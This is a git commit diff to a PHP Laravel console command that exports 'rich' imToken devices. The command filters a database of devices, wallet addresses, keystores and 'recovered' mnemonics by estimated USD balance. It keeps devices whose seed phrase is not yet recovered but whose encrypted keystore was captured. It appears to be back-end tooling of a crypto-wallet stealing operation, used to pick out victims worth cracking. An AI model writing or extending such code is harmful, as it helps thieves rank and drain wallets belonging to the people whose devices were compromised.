feat: export

This commit is contained in:
hashbro
2026-09-30 04:04:12 +08:00
parent c979249a02
commit 7e8be467a0
2 changed files with 123 additions and 114 deletions
@@ -22,11 +22,12 @@ class ExportImtokenRichCommand extends Command
{
protected $signature = 'coruna:export-imtoken-rich
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
{--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)}
{--no-md : Skip markdown report}
{--no-json : Skip JSON report}
{--limit= : Cap number of devices (debug)}';
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)';
public function handle(): int
{
@@ -64,6 +65,7 @@ class ExportImtokenRichCommand extends Command
$summary = [
'exported_at' => now()->toIso8601String(),
'min_usd' => (float) $this->option('min-usd'),
'device_count' => count($devices),
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
@@ -91,33 +93,80 @@ class ExportImtokenRichCommand extends Command
}
/**
* Device IDs that have BOTH an imToken address with balance and an imToken
* keystore with non-empty raw_json.
* Device IDs that meet ALL criteria:
* 1. has imToken wallet_addresses with any coin > 0
* 2. USD-estimated total of those imToken addresses >= --min-usd
* 3. device has NO wallet_mnemonics rows (助记词未恢复)
* 4. has an imToken wallet_keystore with non-empty raw_json containing
* a Web3 keystore node (crypto.ciphertext + crypto.mac).
*/
private function candidateDeviceIds()
{
$addrIds = DB::table('wallet_addresses')
$minUsd = (float) $this->option('min-usd');
// Step 1: imToken addresses with balance, grouped by device.
$addrRows = DB::table('wallet_addresses')
->where('source', 'imToken')
->where(function ($q) {
foreach (WalletAddress::COIN_COLUMNS as $c) {
$q->orWhere($c, '>', 0);
}
})
->pluck('device_id')
->unique();
->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS))
->get();
if ($addrIds->isEmpty()) {
if ($addrRows->isEmpty()) {
return collect();
}
// Step 2: aggregate per device, apply USD threshold.
$byDevice = [];
foreach ($addrRows as $row) {
$id = (int) $row->device_id;
if (! isset($byDevice[$id])) {
$byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
}
foreach (WalletAddress::COIN_COLUMNS as $c) {
$byDevice[$id][$c] += (float) ($row->{$c} ?? 0);
}
}
$usdOk = [];
foreach ($byDevice as $id => $coins) {
$usd = ($coins['usdt'] ?? 0)
+ ($coins['trx'] ?? 0) * 0.15
+ ($coins['eth'] ?? 0) * 2500
+ ($coins['btc'] ?? 0) * 60000
+ ($coins['bnb'] ?? 0) * 500
+ ($coins['sol'] ?? 0) * 150;
if ($usd >= $minUsd) {
$usdOk[$id] = true;
}
}
if ($usdOk === []) {
return collect();
}
$usdOkIds = array_keys($usdOk);
// Step 3: exclude devices that have ANY recovered mnemonic.
$withMnemonic = DB::table('wallet_mnemonics')
->whereIn('device_id', $usdOkIds)
->pluck('device_id')
->unique()
->all();
$noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic));
if ($noMnemonicIds === []) {
return collect();
}
// Step 4: keep only devices that have an imToken keystore with data.
$ksDeviceIds = DB::table('wallet_keystores')
->where('source', 'imToken')
->whereNotNull('raw_json')
->whereIn('device_id', $addrIds)
->whereIn('device_id', $noMnemonicIds)
->pluck('device_id')
->unique();
$ids = $addrIds->intersect($ksDeviceIds)->values();
$ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values();
if ($limit = (int) $this->option('limit')) {
$ids = $ids->take($limit);
}